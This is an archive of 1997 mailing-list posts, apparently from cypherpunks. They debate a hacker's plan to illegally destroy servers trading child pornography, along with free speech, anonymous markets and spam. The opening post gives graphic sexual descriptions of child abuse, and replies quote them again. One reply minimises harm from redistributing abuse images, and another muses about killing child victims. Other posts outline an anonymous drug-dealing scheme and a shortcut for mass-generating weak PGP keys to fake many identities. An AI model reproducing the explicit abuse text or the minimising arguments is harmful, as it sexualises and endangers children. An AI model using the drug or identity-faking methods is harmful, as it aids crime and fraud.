reason all of my mail is bouncing as "host unknown." I am quite sure 
aol.com exists. So I am going to try and respond to much of it here. 

In my long rant, I realized the message was getting too long, and 
paraphrased some of my larger thoughts. I figured everyone would know 
what I was trying to get at, but I was wrong. To clarify a few points, 
before I get to the debate:

I was not advocating the destruction of servers that are used by large 
numbers of people. I was thinking of the terminology used by the people 
trading...fserv/ftp servers, many of which are virtual to their desktops 
which can be shut on and off at will by them as desired. My reference to 
destruction of servers fit this definition. I don't want to affect large 
numbers of innocent users to get the few scumbags out there. That is not 
acceptable. Precision strikes yes, not mass strikes for the "greater 
good." That is asinine.

Nor was I attempting, as some did point out, to be some sort of "ring 
leader" in this crusade. I do not plan to organize some large anti-kiddie 
porn team. I plan on spending a few hours a week, on my own, identifying 
active participants in this activity. I plan on gathering logs of various 
types of activity to justify my actions. I plan on taking action which 
will affect only these individuals. I will make public postings on my own 
accord to various places on the Internet (dc-stuff WILL NOT be one of these 
places).

These are things I am doing on my own. If others would like to join the 
effort, I would ask they do the same thing. Spend a few hours a week in 
their world to identify the traders and do what you do best to either 
wreck them or make things a serious hassle for them to continue. I do not 
want a personal strike team to organize and manage.

As far as freedom of speech goes, sorry guys, it does not cover activities 
which violate the rights of others. Someone does not have the right to fuck 
a four-year-old girl in the ass, take pictures of it, and then scan it and 
upload it to the Internet. No one has the right to force a six year old 
girl to suck his dick until cum is running down her face, take pictures 
of the whole thing, and, once again, upload it to the Internet. This is 
not covered. Go back to school if you think it is.

Anyone who thinks this doesn't affect the young children, you are wrong. 
I doubt these children consented to the sexual activity. I doubt they 
consented to being photographed. I doubt they consented to the pictures 
being distributed to others. I am sure this affects the 
emotional/psychological state of the child victim in many ways beyond 
what most of us can understand. I think we can all agree that is creates 
a less-than-optimal psychological state in the children.

I know my actions are themselves illegal. I am not going to try to 
morally justify it with comments such as "It's for the greater good," or 
"What they are doing is more illegal than hacking." I know my actions 
against these people are illegal, and many for good reason. It is 
destruction of property. I am honest enough to admit I will be breaking 
laws. At least I don't try to rationalize it behind some strange, 
twisted sense of logic. 

I am not here to force my morals on anyone. If you agree with me, fine. 
If you have the ability to do something about it, fine. If you disagree, 
fine. I have had some disagreements against my email/plan/whatever. I 
have read evry single one of them. I do not hate those who disagree with me. 
I see the logic in their arguments. I actually encourage it, as it helps 
me to define what I plan to do better. 

Everyone has the right to say what they want, whether they agree or not. 
That includes me, that includes you. This, of course, as long as it doesn't 
violate the more fundamental rights of others. Agree with me? Yes. Disagree 
with me? Yes. Distribute child porn. No!

On an interesting note, in instances where I have talked one-on-one with law 
enforcement agencies in the past, I have thrown several hypothetical cases 
their way to judge their reaction: (A small glimpse of my Defcon speech)


ME: "If I entered a system without authorization and poked around a left, 
would you arrest me?"
THEM: "No. We don't have the time or resources for that. We aren't 
interested in the people who look around without causing damage despite 
what everyone thinks."

ME: "If I entered a system without authorization and destroyed it, would 
you arrest me."
THEM: "Most definitely." 

ME: "If I was at Defcon and entered a system without authorization that 
was dedicated to the distribution of child pornography and destroyed it, 
and you were looking over my shoulder the whole time and saw what I did, 
would you arrest me?"
THEM" "I would turn around and walk away."


se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 10 Jun 1997 11:48:31 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
Message-ID: <199706100316.WAA03518@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Mon, 9 Jun 1997 20:22:44 -0700
> From: Tim May <tcmay@got.net>
> Subject: Re: Thoughtcrime   (Re: My War)

> Your economics education must have some gaps. Look into "price elasticity."
> Look also at the markets for illegal drugs: despite severe "taxation" (in
> the form of price increases of some drugs, increased prison terms, etc.),
> some markets have increased even as prices have increased.

Clearly this whole discussion can be broken down into a cusp shaped gap.
Too much regulation will cause the market worth to soar hence driving a
large increase in at least attempted revenue spent on the commodity. Whereas
a complete lack of regulation will saturate the market hence driving
suppliers and distributors out of the market, leaving a few megaliths.
Somewhere in the middle is a point where there is actualy a minimum of
the events you are trying to eliminate.

> With drugs, knocking out distributors has in many cases increased the
> selling price of the drug, making it actually more lucrative for street
> dealers to enter the market.

Actualy what it does is increase the perception of danger and difficulty in
the mind of the user and low-level dealer. The actual cycle is much more
complicated than Tim is alluding to here. First there is the total supply of
raw material, processing, and distribution. This sets a hard baseline limit
on the total available drug. Then we have a certain fluctuating percentage
of the population who use it. If we study the typical 'addict cycle' for
different drugs and users we see a multiplicity of cycles and patterns of
behaviour (eg most users who don't od kick the habit after a period of
time). Then we have the perception of those users on the availability of the
drug. There is also the percentage of tax that a society can support at a
given standard of living to support police activity specificaly for drug
control. The image that John and Jane Doe have on the impact of drugs on
their lives. And on and on... 

> This is not at all clear. If the crackdown on child porn, or porn in
> general, causes the street price to rise to $10 a picture, say, then many
> folks not producing child porn now might be tempted to get into the market.

Any many who had thought about it would decline because of the increased
chance of getting caught.

Specificaly how are you justifying the assumption that the net effect would
be to increase the total available distributors? It seems to me that such
an arguments natural extension would be that it would increase the net
number of movie makers not distributors. Consider, the number of distributors
is reduced by a very public campaign. Obviously two things come from this.
First is the actual reduction of available material and the perception that
distribution is a very dangerous game. So what does our enterprising
pedophile do? He buys himself a camera and proceeds to make his own for him
and his buddies. Hell, if he gets too worried he can start killing the kids
so they can't squeel.


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Tue, 10 Jun 1997 13:27:19 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
Message-ID: <3.0.32.19970609223024.00754d30@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




I really don't think that se7en just wants to censor the kiddie porn sites;
I think he is on a personal vendetta (like McVeigh).   He didn't call for
anyone to support legislation and propose new, tough laws, but called for
hackers to go after this particular target.    On the net anyone is prey,
remember;  kiddie porn dealers not exempted.

It's moot to discuss whether eliminating a few thousand digital images will
make any difference on the availability/market desireability of these
pictures (I expect these are all backed up somewhere, anyway, so destroying
them probably wouldn't actually make much difference, but just anger the
owners.)   How many photos of real children arranged into sexual poses or
imposed upon to perform sexual acts does it take to satisfy an addict?
How many photos which are not duplicates do these people actually possess,
and how many more do they seek to obtain?   Is it the number of them, or
the thrill of the "new"?   That a certain number of these photos are in
circulation may not be so important as the fact that they are "new" (to the
person looking to get them).   This means that having free circulation of
large numbers of images may be beside the point (I am speculating and
calculating based on almost total ignorance of the psychology of this type
of individual).

If these pedophiles just want to fantasize, I would offer they could get a
package of Macromedia Freehand or Director and Photoshop and create their
own.   But that probably wouldn't be satisfactory to them.  I expect there
is something in the qualities and character of real children which draw
them.   

But I digress.  The subject was hacking at your own chosen target.   Some
people hack children's innocence; some people hack the hackers.  Que sera'
sera'.


    ..
Blanc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 10 Jun 1997 13:59:52 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Fraud and free speech
In-Reply-To: <v03102802afc0e602d172@[207.167.93.63]>
Message-ID: <19970609224927.55362@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, Jun 09, 1997 at 12:03:52PM -0700, Tim May wrote:
> At 7:11 PM -0700 6/8/97, Kent Crispin wrote:
> 
> >
> >But the fundamental principle that says "redress is available for speech
> >that causes harm" seems fairly clean.  That cuts across advertising,
> >salespersons lies, libel/slander, yelling "fire" in a theater -- a
> >whole gamut of free speech issues.  Spam falls under such a rule, as
> >well.  Of course, the issue of prior restraint is orthogonal to this
> >rule...
> 
> This "fundamental principle" is not nearly as clean or as fundamental as
> you represent.

[Several good examples deleted.]

> No. And there should not be. Harm is a name for various adverse
> developments. Many if not most of them are closely linked to speech issues.
> Legislating harm away is not consistent with a free and open society.

A good point.  However, I only used one telegraphic sentence to
express my thought, not an essay such as you would write.  I don't
have time to write an essay, but let me try to add at least a little 
more.  Hopefully you can fill in the blanks.

Clearly, in this context "harm" would be actually defined through
laws, and some other term should be used.  Let me qualify it as 
"unfair harm", realizing that it's still probably not a good term.

"Unfair harm" (as I imagine this legal infrastructure to be) cannot
occur if it is a result of a consciously accepted risk.  Thus, for
example, if you engage in the game of business you consciously accept
the rules and risks of the game.  A competitor who advertises better
prices is not creating "unfair harm".

The point of this exercise is to move the debate from what kind of
speech is protected to a debate about what constitutes "unfair harm". 
That is, all speech is free, period.  If you cause "unfair harm",
however, you are responsible for it, whether it comes from speech or
from action. 

So, for example, rather than debating whether "true speech" is
protected, we ask whether a particular case of "true speech" caused
"unfair harm".  In questionable cases we don't agonize over whether
some artificial class of speech is free -- instead we argue over
whether the harm was "fair" or not.

Why change the terms of the debate?  Because it restores freedom of 
speech as an absolute, and places all the fuzzy stuff somewhere 
else.

[...]

> Spam is a name for "unwanted communications." The proper solution is
> technological/ontological, e.g., metering. It is a defect of our current

["ontological"?  What do you mean by that? (Ontology -- the study of the 
nature of existence?]

> e-mail model that one can deliver a million pieces of e-mail for no cost.

I don't believe that metering is a solution.  It has clearly not
worked for physical mail -- I make a moderate effort to keep myself
off mailing lists, but more than half of my p-mail is junk.  That's
worse by far than my email. 

> This will be fixed, and is a solution vastly preferable to having a
> government agency decide which communications are permissable and which are
> not.

I don't favor a government agency.  I think other technologies than 
metering will be necessary.

> (Many of these issues are mooted by crypto anarchy, of course.)

Oh sure.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 10 Jun 1997 14:14:59 +0800
To: ichudov@Algebra.COM (Igor Chudov @ home)
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <v03102813afc280fe6067@[207.167.93.63]>
Message-ID: <3.0.2.32.19970609224931.00755400@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 11:22 PM 6/9/97 -0500, Igor Chudov @ home wrote:
>I have a business plan. It presumes that I can RECEIVE cash
>anonymously and operate in a certain city. As far as I understand,
>a modification of existing protocols allows to implement anonymity 
>of payees.

Receiving the cash is the hard part. This has been discussed extensively.
You can post to alt.drugs and advertise your wares. You can mail the wares
by simply putting them in random mailboxes. You can even receive the
purchase orders, though this is at present more difficult. What you can't
do is get the money securely. You need two way anonymous ecash for that
purpose. And that doesn't exist yet for all practical purposes. Though I
hear this major obstacle to free enterprise is about to be overcome.


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Tue, 10 Jun 1997 14:10:45 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Response to "My War"
In-Reply-To: <Pine.BSI.3.91.970609220733.12873a-100000@kizmiaz.dis.org>
Message-ID: <199706100602.XAA28250@netcom7.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Se7en recapitulates:

> As far as freedom of speech goes, sorry guys, it does not cover activities 
> which violate the rights of others. Someone does not have the right to fuck 
> a four-year-old girl in the ass, take pictures of it, and then scan it and 
> upload it to the Internet. No one has the right to force a six year old 
> girl to suck his dick until cum is running down her face, take pictures 
> of the whole thing, and, once again, upload it to the Internet. This is 
> not covered. Go back to school if you think it is.

Straw man.  There is no evidence that such activities are being engaged
in, photographed, and uploaded to the Internet by the perpetrator. 

There is a huge difference between crimes being illegal, and crime scene
pictures being illegal in the possession of someone having no link
whatsoever to the original perpetrator. 

There is an even larger difference in scenes of very old non-crimes being
illegal in the possession of anyone whatsoever. 

All of these things get lumped under the general catch-all phrase "child
porn." 

> ME: "If I was at Defcon and entered a system without authorization that 
> was dedicated to the distribution of child pornography and destroyed it, 
> and you were looking over my shoulder the whole time and saw what I did, 
> would you arrest me?"
> THEM" "I would turn around and walk away."

Take the officer's name and badge number.  He needs to be fired. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 10 Jun 1997 11:32:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: WSJ on Money Laundering
In-Reply-To: <Pine.GSO.3.96.970609133806.19311E-100000@linda.teleport.com>
Message-ID: <v0302090fafc2747f7769@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:42 pm -0400 on 6/9/97, Alan wrote:


> In fact, the article points out that just about
> any monetary transaction can be declared money laundering.  (And get
> upheld in court!)


Yeaaaah... Ain't fungibility a bitch?

Well, folks, about 30 years we sowed a crop of inumeracy in our school
system, and now it's time to reap the harvest.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 10 Jun 1997 14:21:01 +0800
To: se7en <cypherpunks@toad.com>
Subject: Re: Response to "My War"
In-Reply-To: <Pine.BSI.3.91.970609220733.12873a-100000@kizmiaz.dis.org>
Message-ID: <3.0.2.32.19970609231011.007482c4@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:07 PM 6/9/97 -0700, se7en wrote:
>As far as freedom of speech goes, sorry guys, it does not cover activities 
>which violate the rights of others. Someone does not have the right to fuck 
>a four-year-old girl in the ass, take pictures of it, and then scan it and 
>upload it to the Internet.

Amen to the first part of the sentence. [Are there really pictures  like
that available? I too have investigated USENET to determine out just how
much truth there was to the claim of abundant child pornography available
on the Net and found only the type of pictures a casual observer could take
on any given Summer day at a Mediterranean beach. Oh, and 30+ year old
women in baby doll dresses. Twisted, but hardly child porn. Maybe child
porn is available on the net. But if I can't find it, it hardly is abundant.]

As to the last part of the sentence, who' rights, exactly, were violated
when a pre-existing picture was scanned and posted? I assume you could say
that the child's rights were violated since it didn't sign a release. What
if its legal guardian agreed to the posting of the immage? I concur that a
child's legal guardian can not validly agree to the child being subjected
to the deranged treatment you describe, but I fail to see how the mere act
of scanning and posting the pictures is any different than scanning and
posting any other picture. Assuming the person scanning and posting is not
involved in the production of the pictures.

Thanks,

--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 12:20:18 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <v03102810afc276b6f608@[207.167.93.63]>
Message-ID: <199706100411.XAA03021@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> At 7:52 PM -0700 6/9/97, Igor Chudov @ home wrote:
> >Lucky Green wrote:
> 
> >> The answer is clearly no. By limiting the distribution of an individual
> >> picture, you increase the total number of pictures required to satisfy
> >> market demand. That means more children will be required to meet demand.
> >
> >How do you justify that "clearly"?
> >
> >I think that your analysis is incorrect.
> >
> >This is a supply and demand situation. It is very simple to show (as any
> >microeconomics textbook does) that a tax on the product reduces the amount
> >of product sold and produced.
> 
> Your economics education must have some gaps. Look into "price elasticity."
> Look also at the markets for illegal drugs: despite severe "taxation" (in
> the form of price increases of some drugs, increased prison terms, etc.),
> some markets have increased even as prices have increased.
> 
> Closer to home, analyze gas consumption as gas taxes in American have risen
> nearly 400% in the past 25 years (roughly following the OPEC shock in ;73).

An interesting point, Tim.

Your examples show that over time, demand and supply curves change. For
example, despite taxation, there are more people driving and they have
to drive farther because more people live in suburbs.

I would not be surprised if, when a certain product is taxed, its
consumption would increase over the long run due to many other factors
besides taxes.

The question that is more relevant is, what is the incremental impact
of the tax, that is, what would happen if the tax changed and all
things remained equal? (this may be called a short term impact of the tax)

An example to look at is online [adult] porn. It is, for all practical
purposes, not regulated. We see a humongous number of pornographic
images being created, not surprisingly, even though Lucky's argument
would suggest that there should not be such a variety if anyone can
freely copy them.

> With drugs, knocking out distributors has in many cases increased the
> selling price of the drug, making it actually more lucrative for street
> dealers to enter the market.

Yes, of course the price rises if a tax is imposed. The same econ 101
shows that if the demand is inelastic (as it is the case for drugs), the
buyers pay the bulk of the tax. So of course, the punitive laws
increased prices and made the business more lucrative. But the same laws
have also made drug trade more dangerous, because drug dealers risk to
go to jail and be shot by other dealers.

I would not be surprised to see that when the drug tax diminishes, the
drug use would go up. As a drug-free person, I do not care much about it
as, since drugs would be cheap, drug addicts will not have to kill
people to get a dose. And in the longer run, greater availability of the
images of drug addicts would probably have a good deterrent effect.

The cost of the drug tax to the society is all the inefficiencies
created by it: for example, when thousands of hard working business
people are locked up in expensive jails, it is a cost with little
offsetting benefit. The shootouts between gangs is also a cost insofar
as bystanders are involved.

Also, in an efficient system where people could buy crack at a Walgreens
counter, there would be less people involved in the whole business,
because Walgreens is more efficient at distribution than the inner city
drug dealers. As a result, these former drug dealers would be out of
business and be gainfully employed in some more productive trade.

> A complicated system, no doubt, but arguments based on "Econ 101" are
> usually flawed when dealing with complex systems (something Samuelson would
> almost certainly agree with me on).

Samuelson himself has "proven" some quite funny theorems.

> >Since a unit of product is probably one picture of a child, there are
> >less units produced if they are taxed.
> 
> This is not at all clear. If the crackdown on child porn, or porn in
> general, causes the street price to rise to $10 a picture, say, then many
> folks not producing child porn now might be tempted to get into the market.

Tim, let's compare child porn (with images of persons below 18 years
of age) with adult porn.

In other words, 

	1) there is little difference, in terms of consumer utility,
	   between pictures of 17 year olds and pictures of 21 year 
	   olds
	2) The costs of producing these images, EXCLUDING TAX, are 
	   essentially equal.

That should lead us to expect that without taxes, the number of 16 year
old pictures would be about the same as the number of 21 year old
pictures, give or take 50%.

However,

	3) There is a tax imposed on "child" porn.

And we indeed observe that 

	4) the number of 16 year old images that is available
	   is much, much lower.

> If you look at your Econ 101 text again, read up on cycles of pork bellies
> and suchlike agricultural products. Every shortage is followed by a period
> of "overproduction," and vice versa.

The problem with cyclical products is high fixed costs and high exit costs.

Agricultural products are very specific because their production cannot
be easily changed when the future supply becomes certain. After all, you
can't kill all the little pigs or raze the corn crop and plant potatoes
in June, even  if you know that due to the weather there will be a lot
of it in the market.

> What this all means for the porn trade is unclear, but looking at the drug
> trade is pretty revealing.

Could not agree more.

> There's something wrong when I'm a felon under an increasing number of laws.
> Only one response to the key grabbers is warranted: "Death to Tyrants!"
> ---------:---------:---------:---------:---------:---------:---------:----
> Timothy C. May              | Crypto Anarchy: encryption, digital money,
> tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
> W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
> Higher Power: 2^1398269     | black markets, collapse of governments.
> "National borders aren't even speed bumps on the information superhighway."
> 
> 
> 
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Tue, 10 Jun 1997 11:37:59 +0800
To: cypherpunks@toad.com
Subject: Intro to Cyptosystems talk 6/23 7pm
Message-ID: <v03020918afc276aefaeb@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Sender: net-thinkers@thumper.vmeng.com
Reply-To: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
Mime-Version: 1.0
Precedence: Bulk
Date:  Mon, 9 Jun 1997 14:32:34 -0700
From: Vinnie Moscaritolo <vinnie@webstuff.apple.com>
To: Multiple recipients of <net-thinkers@thumper.vmeng.com>
Subject:  Intro to Cyptosystems talk 6/23 7pm

ever wondered what the buzz about cryptography is all about..

You are all welcome to attend my "Introduction to Cyptosystems"  tutorial at
the BMUG South meeting.. It's open to the public.

When:  Monday, Jun 23
Time:  7:00 PM
Where:  Town Hall, Apple R&D Campus (blding 5)
How long: 60 mins or so?

---------------

Q: Why should you care about this stuff..?

A: The internet is not a secure channel,  It's easy intercept your email or
files or even know what webpages youve been looking at. Cryptography is a
tool that provides you privacy and protection from competitors and the news
media scum. How much do you trust to the internet?

Cryptography is also the best protector of the most cherished civil
liberty: "the freedom of speech"

Q: But I have no secrets to keep?

A: Cryptography is not just about secrets, In addition to providing
confidentiality, modern cryptography holds the  building blocks necessary
for successful electronic commerce.

	Authentication:
	The receiver of a message can  ascertain it's origin;
	 an intruder should not be able to masquerade as someone else.

	Integrity
	The receiver of a message can ensure that the data has not
	been modifed in transit;  an intruder should not be able to
	substitute a false message for a legitimate one.

	Nonrepudiation
	A sender should not be able to falsely deny that he sent a message

Q:Why should I care about electronic commerce. Apple hasnt done anything
with it?

A:  That the point of this talk. E-Commerce will be a bigger market than
anything we have ever been in before.  Ask yourself, What is the biz
proposition  for anyone publishing on the NET and the answer will be net
commerce.

Q: what will you talk about

    What is Cryptography
	What it's used for
	How Cryptosystems work
	secret/public key encyption,
	digital signitures,
	modern crypto systems
	key management,
	e-commerce,
	Governement Issues

    This talk is NOT aboutŠ
	Theoretical Mathematics
	Programming APIs
	Specific Products

	Who this talk is for
	Marketing Evangelist Engineer
	Anyone who needs to be Crypto competent

There is a PDF of the slides at http://www.vmeng.com/vinnie/papers.html



Vinnie Moscaritolo
That Crypto Guy at Apple...
http://www.vmeng.com/vinnie/
Fingerprint: 4FA3298150E404F2782501876EA2146A

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Tue, 10 Jun 1997 13:28:35 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
In-Reply-To: <H0528D53w165w@bwalk.dm.com>
Message-ID: <Pine.A41.3.95.970609231250.58466B-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Dr.Dimitri Vulis KOTM wrote:

I think Vulis needs each of us to send ten copies of this back to him.
> 
> Folks, when replying to the ASCII art, please try to quote enough of the
> body so it'll be picked up by the filters :-)
> 
> [Or should I be filtering on the Subject line?]
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 12:34:00 +0800
To: tcmay@got.net (Tim May)
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <v03102813afc280fe6067@[207.167.93.63]>
Message-ID: <199706100422.XAA03115@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Tim May wrote:
> It's all very complicated. And strong crypto, of course, is on the verge of
> making the risk of getting caught near zero. You know the rest.

I do not think that it is "on the verge", rather, it is there already.

I have a business plan. It presumes that I can RECEIVE cash
anonymously and operate in a certain city. As far as I understand,
a modification of existing protocols allows to implement anonymity 
of payees.

I open a trug trading center at, for example,
drugz@anonymous.mailserver.com. Alternatively, I can publish my public
key in alt.anonymous.messages.

Drug addicts would send me digital cash and specify which drugs they
wish to receive, and send me their public keys. I would place their
drugs in some random place in that city, and then send them (anonymously) 
the location of the place so that they can pick it up.

I do not see how I can be detected, modulo the security of anonymous
remailers. Since my reputation will be based on PGP authentication, I
will have an incentive not to cheat.

	- Igor.

P.S. I do not believe that anon remailers provide an adequate security.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Tue, 10 Jun 1997 15:03:23 +0800
To: cypherpunks@toad.com
Subject: Re: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970608071045.57576@bywater.songbird.com>
Message-ID: <19970609234548.51666@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, Jun 08, 1997 at 11:46:54AM -0500, Dr.Dimitri Vulis KOTM wrote:
> Kent Crispin <kent@songbird.com> writes:
[.interesting historical references deleted.]
> > their very nature involve "enforcement".  What you say in a contract
> > binds you.  What you say outside of a contract does not.  What you say
> > in a contract is, therefore, and by definition, not "free".
> 
> When a tobacco company says in an ad, "Joe Camel is cool", what kind
> of contractual obligations does it assume?

None.  I did not say that all ads were part of a contract.

> Have you ever bought a used car, Kent?  Have you seen the language in
> the contract that throws out whatever promises the saleguy made that
> are not a part of the contract? 

Yes, but never from a used-car lot, always from people I know.  I have
bought a new car -- I don't recall the details of the contract, but it
seems quite probable that such a clause would exist. 

> If I claim on Usenet that borshch
> cures cancer, who are the counterparties, and what consideration do
> I get?

No one.  None.

I didn't say that all ads were contracts.  It seems to me, though,
that there is no clear dividing line possible between advertising and
verbal contracts, and that the clause you mention in the used car 
case is indirect evidence in support of this -- car companies 
consider it prudent, after all, to get you to sign something that 
relinquishes your right to hold a salesman to what he says.

I believe the ambiguity between ad and verbal contract is unavoidable
in principle.  Can you suggest any simple clear rule that works?
"Caveat emptor" won't do it -- one of the primary purposes of
contracts is to give redress in the case of non-performance, which is
directly contrary to caveat emptor. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 10 Jun 1997 16:26:18 +0800
To: "Robert A. Costner" <pooh@efga.org>
Subject: Re: PGP Key generation
In-Reply-To: <199706082051.VAA05211@server.test.net>
Message-ID: <3.0.1.32.19970610011235.0068f800@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 07:05 PM 6/8/97 -0400, Robert A. Costner wrote:
>If I generate a personal PGP keypair on some machine it takes a specific 
>period of time to do the intensive calculations, let's assume ten minutes
for 
>this example.  If I needed 10,000 such individual keyspairs for a
unspecified 
>authentication attack, does this have to take 10,000 times 10 minutes (over 
>two months with this CPU), or is there a faster way to generate a large 
>number of keypairs to appear to be a large number of people.
>
>The larger question is since 10,000 unique written signatures seems to 
>indicate that 10,000 unique individuals exist, would 10,000 unique PGP 
>signatures also seem to indicate that these are not from the same person?

If you're concerned about legitimacy, independence of keys, etc.,
then doing them one at a time is the way to go.  However, if you're
just trying to gen up a bunch of keys to fake your way through an
authentication system that wants "different" keys, and you don't mind
a bit of coding or code-borrowing, you can do far better.

First of all, you can generate 10,000 different RSA keys by generating
~142 prime numbers and using combinations of two of them.
Furthermore, you don't need to generate good random numbers to seed
the prime number searcher, so you've gone from 10,000 randoms plus
10,000/P(prime) prime searches to 1 random plus 142/P(prime) prime searches.

However, your RSA keys may not even need to be that good,
depending on the authentication system you're trying to weasel into.
RSA uses n=pq, p and q prime, and ed==1 mod (p-1)(q-1),
where e and d are relatively prime to n (usually e is a small prime.)
So you could pick _one_ pair of primes and 10,000 values of e,
if the test doesn't mind that all the (e,n) pairs have the same n,
and the e's can be a table of the first 10,000 primes.
A cheap test might or might not notice, depending on whether it's
using PGP KeyID or fingerprint or some other hash.
(Since the keyID is "just the bottom few bits of the modulus",
a test using the KeyID would notice -- so you've got to social-engineer
them into using a "better" test with the length and fingerprint :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 10 Jun 1997 16:29:53 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Question about anonymizing proxies
In-Reply-To: <199706091758.KAA31403@fat.doobie.com>
Message-ID: <3.0.1.32.19970610012038.03060dfc@popd.ix.netcom.com>
